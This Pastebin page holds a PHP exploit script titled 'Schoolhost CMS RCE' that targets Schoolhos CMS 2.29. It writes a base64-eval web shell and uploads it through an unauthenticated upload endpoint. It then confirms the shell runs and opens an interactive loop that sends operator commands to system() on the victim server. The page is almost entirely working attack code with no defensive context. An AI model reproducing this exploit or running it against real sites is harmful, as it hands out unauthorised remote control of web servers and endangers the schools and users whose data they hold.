Advertisement
AZZATSSINS_CYBERSERK

Schoolhost CMS RCE

Nov 14th, 2016
274
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 2.23 KB | None | 0 0
  1. <?php
  2. $host=$argv[1];
  3. $target="$host/elearningku/proses.php?pilih=guru&untukdi=upload";
  4. echo "[*] Schoolhos CMS 2.29 Remote command execution [*]\n\n";
  5. echo " + Sending payload to $host\n";
  6. fwrite(fopen("azzatssins.php","w+"),'<?php eval(base64_decode($_POST["azzatssins"])); ?>');
  7. $azzatssins = curl_init();
  8. curl_setopt($azzatssins, CURLOPT_URL, $target);
  9. curl_setopt($azzatssins, CURLOPT_USERAGENT, "mozilla");
  10. curl_setopt($azzatssins, CURLOPT_POST, 1);
  11. curl_setopt($azzatssins, CURLOPT_RETURNTRANSFER, true);
  12. curl_setopt($azzatssins, CURLOPT_POSTFIELDS,array("fupload"=>"@".realpath
  13. ("azzatssins.php")));
  14. curl_setopt($azzatssins, CURLOPT_SSL_VERIFYPEER, false);
  15. curl_setopt($azzatssins, CURLOPT_SSL_VERIFYHOST, 0);
  16. $result = curl_exec($azzatssins);
  17. curl_close($azzatssins);
  18. $cyberserkers=curl_init();
  19. curl_setopt($cyberserkers,CURLOPT_RETURNTRANSFER,1);
  20. curl_setopt($cyberserkers,CURLOPT_URL,$host."/file/materi/azzatssins.php");
  21. curl_setopt($cyberserkers, CURLOPT_POSTFIELDS,"azzatssins=".base64_encode("echo
  22. 'azzatssinsfo';"));
  23. curl_setopt($cyberserkers, CURLOPT_SSL_VERIFYPEER, false);
  24. curl_setopt($cyberserkers, CURLOPT_SSL_VERIFYHOST, 0);
  25. curl_setopt($cyberserkers,CURLOPT_FOLLOWLOCATION,0);
  26. curl_setopt($cyberserkers,CURLOPT_TIMEOUT,20);
  27. curl_setopt($cyberserkers, CURLOPT_HEADER, true);
  28. $outp=curl_exec($cyberserkers);
  29. curl_close($cyberserkers);
  30. if(!preg_match("#azzatssinsfo#",$outp)){
  31. echo " - Failed :(\n";
  32. die();
  33. }
  34. echo " + Payload sent successfully\n\n";
  35. while(0<1){
  36. echo "azzatssins@$host# ";
  37. $command=trim(fgets(STDIN));
  38. if($command=='exit'){
  39. die();
  40. }
  41. $cyberserkers=curl_init();
  42. curl_setopt($cyberserkers,CURLOPT_RETURNTRANSFER,1);
  43. curl_setopt($cyberserkers,CURLOPT_URL,$host."/file/materi/azzatssins.php");
  44. curl_setopt($cyberserkers, CURLOPT_POSTFIELDS,"azzatssins=".urlencode(base64_encode
  45. ("echo '>>>>>';system('$command');echo '>>>>>';")));
  46. curl_setopt($cyberserkers, CURLOPT_SSL_VERIFYPEER, false);
  47. curl_setopt($cyberserkers, CURLOPT_SSL_VERIFYHOST, 0);
  48. curl_setopt($cyberserkers,CURLOPT_FOLLOWLOCATION,0);
  49. curl_setopt($cyberserkers,CURLOPT_TIMEOUT,20);
  50. curl_setopt($cyberserkers, CURLOPT_HEADER, true);
  51. $outp=curl_exec($cyberserkers);
  52. curl_close($cyberserkers);
  53. echo explode(">>>>>",$outp)[1]."\n";
  54. }
  55. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement